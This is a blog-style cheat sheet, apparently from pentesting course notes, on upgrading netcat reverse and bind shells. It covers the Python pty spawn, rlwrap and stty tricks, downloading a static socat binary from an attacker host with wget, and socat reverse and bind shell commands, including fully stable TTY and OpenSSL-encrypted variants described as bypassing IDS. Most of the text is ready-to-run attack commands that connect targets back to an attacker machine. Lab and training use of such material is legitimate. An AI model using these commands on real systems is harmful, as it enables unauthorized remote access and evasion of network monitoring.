What the Shell?

May 18, 2025

Stabilizing Netcat Reverse/Bind Shells

Netcat shells are inherently unstable: non-interactive, no arrow keys/tab completion, weird formatting, and Ctrl+C kills the entire session. Here are the three main techniques to upgrade them into proper, usable shells:

Technique 1: Python Pty (Linux only – most common & reliable)

A 3-step process to get a nearly fully interactive Bash shell:

  1. python -c 'import pty; pty.spawn("/bin/bash")'
    (or python3/python2 if needed) → spawns a better bash
  2. export TERM=xterm → enables commands like clear
  3. Press Ctrl+Z (backgrounds the shell) → in your local terminal run:
    stty raw -echo; fg → re-enters the shell with full interactivity (arrow keys, tab completion, Ctrl+C works normally)

Tip: If the shell dies afterward, your local terminal will be messed up (no echo). Just type reset and press Enter blindly to fix it.

Technique 2: rlwrap (Best for quick stabilization, works on both Linux & Windows)

  • Install once on your attacker machine: sudo apt install rlwrap
  • Start your listener with rlwrap prepended:
    rlwrap nc -lvnp <port>

Instantly gives you:

  • Arrow keys
  • Tab autocompletion
  • Command history

For full Ctrl+C functionality on Linux, still do the Ctrl+Z → stty raw -echo; fg trick afterward.
Extremely useful for Windows reverse shells where other methods barely work.

Technique 3: Socat (Fully stable TTY – Linux only)

Use the initial netcat shell as a stepping stone to download and run a static socat binary:

  1. Host the static socat binary on your attacker machine (e.g., python3 -m http.server 80)
  2. On target (via netcat shell):
    wget http://<your-ip>/socat -O /tmp/socat or curl ...
  3. Later you’ll catch a proper socat reverse shell (covered in upcoming tasks)

Result: A true PTY with perfect stability (better than netcat or even Python method).

Bonus: Fix terminal size for tools like vim/nano

Reverse shells don’t know your real terminal dimensions → editors look broken.

Fix:

  • In a new local terminal: stty -a → note down rows and columns
  • In the remote shell:
    stty rows <rows> cols <columns>

Do this after any stabilization method when you plan to use full-screen TUI apps.

Quick Reference Cheat Sheet

  • Linux, best all-round → Python pty method
  • Need it fast or on Windows → rlwrap listener
  • Want the absolute best possible shell (Linux) → Upgrade to socat
  • Always fix tty size with stty rows X cols Y when needed

These three techniques cover 99% of real-world netcat shell stabilization scenarios in pentesting.


Socat Cheat Sheet – Everything You Need for Stable & Encrypted Shells

Basic (Unstable) Shells – Similar to Netcat

Shell TypeListener (Attacker)Target Command (to send shell)
Reverse (Linux/Windows)socat TCP-L:<port> -socat TCP:<attacker-ip>:<port> EXEC:powershell.exe,pipes (Win)
socat TCP:<attacker-ip>:<port> EXEC:"bash -li" (Linux)
Bind (Linux/Windows)socat TCP:<target-ip>:<port> -socat TCP-L:<port> EXEC:"bash -li" (Linux)
socat TCP-L:<port> EXEC:powershell.exe,pipes (Win)

These are still unstable (no Ctrl+C, no arrow keys, etc.).

Fully Stable Linux TTY Reverse Shell (The Holy Grail)

Attacker listener (run this first):

1
socat TCP-L:<port> FILE:`tty`,raw,echo=0

Target (run this from your existing netcat shell – socat must exist on target):

1
socat TCP:<attacker-ip>:<port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Result → Instant, fully stable TTY:

  • Real PTY
  • Arrow keys + tab completion
  • Ctrl+C works normally
  • sudo, ssh, vim, nano all work perfectly
  • Fix screen size if needed: stty rows <rows> cols <cols>

Tip: Most targets don’t have socat → upload a static compiled socat binary first (same method as previous task).

Encrypted Shells (Bypass IDS + No Sniffing)

  1. Generate certificate (once, on attacker):
1
2
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
  1. Encrypted Reverse Shell (Linux example)

    • Attacker listener:
      1
      
      socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -
      
    • Target:
      1
      
      socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"/bin/bash"
      
  2. Encrypted Fully Stable TTY Reverse Shell (Linux only)

    • Attacker listener:
      1
      
      socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0
      
    • Target:
      1
      
      socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
      

Key points:

  • Certificate (.pem) is always used on the listener side
  • verify=0 → don’t check if cert is trusted (required for self-signed)
  • Works for bind shells too (just move the cert to the target for bind)

Debugging Socat

Add -d -d to either side for verbose output:

1
socat -d -d TCP-L:443 FILE:`tty`,raw,echo=0

TL;DR – Best Choices in Practice

GoalCommand (Attacker → Target)
Quick & dirty (any OS)socat TCP-L:port -
Stable Linux shellStable TTY version above
Encrypted stable Linux shellOPENSSL stable TTY version
Windows shell (best you can get)rlwrap + netcat (socat not much better on Win)

That’s it — with these, you’ll never suffer a crappy netcat shell again!

Categories: